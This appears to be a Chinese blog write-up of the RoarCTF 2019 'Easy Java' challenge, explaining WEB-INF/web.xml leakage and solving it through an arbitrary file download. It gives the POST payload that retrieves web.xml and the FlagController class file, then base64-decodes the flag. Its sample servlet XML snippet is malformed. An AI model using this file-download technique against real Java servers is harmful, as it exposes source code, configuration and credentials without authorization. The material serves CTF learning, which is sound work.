RoarCTF 2019 Easy Java

RoarCTF 2019 Easy Java

题目分析

首先看一下题目:

RoarCTF_2019_Easy_Java1

尝试SQL注入许多次结果都如下:

RoarCTF_2019_Easy_Java2

点击主页help如下:

RoarCTF_2019_Easy_Java3

改为POST方式发现可以下载文件,并且参数可控,可能存在文件下载漏洞

RoarCTF_2019_Easy_Java4

尝试利用WEB-INF/web.xml泄露

WEB-INF/web.xml泄露

背景

WEB-INF/web.xml泄露是JAVA的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问

WEB-INF主要包含以下文件或目录:

  • /WEB-INF/web.xml: Web应用程序配置文件,描述了servlet和其他的应用组件配置及命名规则
  • /WEB-INF/classes/: 换了站点所有的class文件,包括servlet class和非servlet class,他们不能包含在.jar文件中
  • WEB-INF/lib/:存放了Web应用需要的各种JAR文件,防止仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
  • WEB-INF/src/:源码目录,按照包名结构防止各个java文件
  • WEB-INF/database.properties:数据库配置文件

JavaWeb工程目录结构

WebContent                  (站点根目录)
  |---META-INF              (META-INF文件夹)
  |    |---MANIFEST.MF      (MANIFEST.MF配置清单文件)
  |---WEB-INF               (WEB-INF文件夹)
  |    |---web.xml          (站点配置web.xml)
  |    |---lib              (第三方库文件夹)
  |    |   |---*.jar        (程序需要的jar包)
  |    |---classes          (class文件目录)
  |        |---...*.class   (class文件)
  |---<userdir>             (自定义的目录)
  |    |---*.jsp,*js,*.css  (自定义的资源文件)
  |---<userfiles>           (自定义的资源文件)

漏洞成因

通常一些web应用我们会使用多个web服务器搭配使用,解决其中的一个web服务器的性能缺陷以及做均衡负载的有点和完成一些分层结构的安全策略等。在使用这种架构的时候,由于对静态资源的目录或文件的映射配置不当,肯恩恶搞会引发一些安全问题,导致web.xml等文件能够被读取

漏洞检测以及利用方法

通过找到web.xml文件,推断class文件的路径,最后直接访问class文件,再通过反编译class文件,得到网站源码

Servlet访问URL映射配置

由于客户端是通过URL地址访问Web服务器中的自愿,所以Servlet程序若想被外界访问,必须把Servlet程序映射到一个URL地址上,这个工作再web.xml文件中使用元素和元素完成。

元素以哦那个与注册Servlet,它包含有两个主要的子元素:,分别用于指定Servlet的注册名称和Servlet的对外访问路径。例如:

```java
</servlet>
<servlet-name>ServletDemo</servlet-name>
<servlet-class>cn.ServletDemo</servlet-class>
</servlet>
</servlet-mapping>
</servlet-name>/ServletDemo</servlet-name>
</url-pattern>/ServletDemo</url-pattern>
</servlet-mapping>
```

## 思路整理

- 可能存在任意文件下载

尝试POST方式下载/WEB-INF/web.xml,下载成功,内容如下

```xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">

<welcome-file-list>
<welcome-file>Index</welcome-file>
</welcome-file-list>

<servlet>
<servlet-name>IndexController</servlet-name>
<servlet-class>com.wm.ctf.IndexController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>IndexController</servlet-name>
<url-pattern>/Index</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>LoginController</servlet-name>
<servlet-class>com.wm.ctf.LoginController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginController</servlet-name>
<url-pattern>/Login</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>DownloadController</servlet-name>
<servlet-class>com.wm.ctf.DownloadController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadController</servlet-name>
<url-pattern>/Download</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>

</web-app>
```

发现了flag的文件路径,并且由前置知识可知,通过url访问Servlet的方式是:
找到对应文件名,然后通过这个文件名找到对应的servlet,再通过这个servlet的文件名,获取到其具体的servlet文件。因为这个是类中的文件,所以后缀要加.class

## Payload

所以最终的payload为

```
filename=/WEB-INF/classes/com/wm/ctf/FlagController.class
```

tips:要把com到FlagController前面的.改成/原本的.是类似java里面的文件路径

POST方式发送即可以下载该文件

文件内容为

```java
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet(
name = "FlagController"
)
public class FlagController extends HttpServlet {

String flag = "ZmxhZ3syZDUyZDkyNC00MmZiLTQ2MTAtYWNiZS04ZjVlNDk1OTA4Y2N9Cg==";

protected void doGet(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException {
PrintWriter var3 = var2.getWriter();
var3.print("<h1>Flag is nearby ~ Come on! ! !</h1>");
}
}
```

base64解密flag即可

暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇